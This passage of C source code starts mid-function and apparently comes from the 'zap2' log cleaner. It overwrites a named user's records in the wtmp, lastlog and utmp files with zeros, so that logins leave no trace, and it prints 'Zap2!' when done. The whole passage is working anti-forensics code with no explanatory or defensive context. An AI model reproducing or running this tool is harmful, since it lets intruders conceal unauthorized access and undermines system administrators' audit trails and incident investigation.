utmp_ent; long pos; pos = 1L; if ((f=open(WTMP_NAME,O_RDWR))>=0) { while(pos != -1L) { lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = -1L; } else { if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(struct utmp )); lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); write (f, &utmp_ent, sizeof (utmp_ent)); pos = -1L; } else pos += 1L; } } close(f); } } void kill_lastlog(who) char *who; { struct passwd *pwd; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f); } } else printf("%s: ?\n",who); } main(argc,argv) int argc; char *argv[]; { if (argc==2) { kill_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf("Zap2!\n"); } else printf("Error.\n"); }